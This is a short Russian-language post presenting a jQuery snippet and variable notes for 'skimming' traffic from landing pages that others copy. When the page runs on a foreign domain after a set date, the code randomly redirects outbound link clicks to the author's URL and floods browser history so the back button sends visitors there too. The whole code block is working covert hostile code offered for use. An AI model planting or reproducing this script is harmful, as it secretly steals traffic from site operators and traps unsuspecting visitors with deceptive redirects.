- Переменная domain отвечает за проверку домена. Если домен отличается от этой переменной, скрипт заменяет все ссылки на replaceLink
- replaceLink - ссылка на которую будут вести все <a> теги
- lastDate - это текущая дата, обычно ставится с помощью <?php echo current_date ?> для того чтобы зафиксировать дату выкачки вашего ленда
- per - рандом параметр для подворовывания, т.е как карта ляжет, чем ниже тем больше ворует
Код:
var domain = 'rockyraccoon.com',
replaceLink = 'https://rockyraccoon.com',
lastDate = '2024-01-01',
per = 10;
$(document).ready(function () {
if ((new Date()).getTime() > (new Date(lastDate)).getTime() && Math.round(Math.random() * 100, 0) <= per) {
var a = document.referrer;
if (a != '') {
a = new URL(a).hostname
}
replaceLink = replaceLink.replace("{urlref}", window.location.host + window.location.pathname);
replaceLink = replaceLink.replace("{sourceref}", a);
if (window.location.host != "" && window.location.host != "localhost") {
$('a').each(function (k, elem) {
if (typeof $(elem).attr('href') !== "undefined" && $(elem).attr('href').indexOf(domain) == -1 && $(elem).attr('href') != "#") {
$(elem).on('click', function (e) {
e.originalEvent.currentTarget.href = replaceLink
}); !
function (replaceLink) {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({},
"", "#");
onpopstate = function (t) {
t.state && location.replace(replaceLink)
}
} catch(o) {}
} (replaceLink)
}
})
}
}
});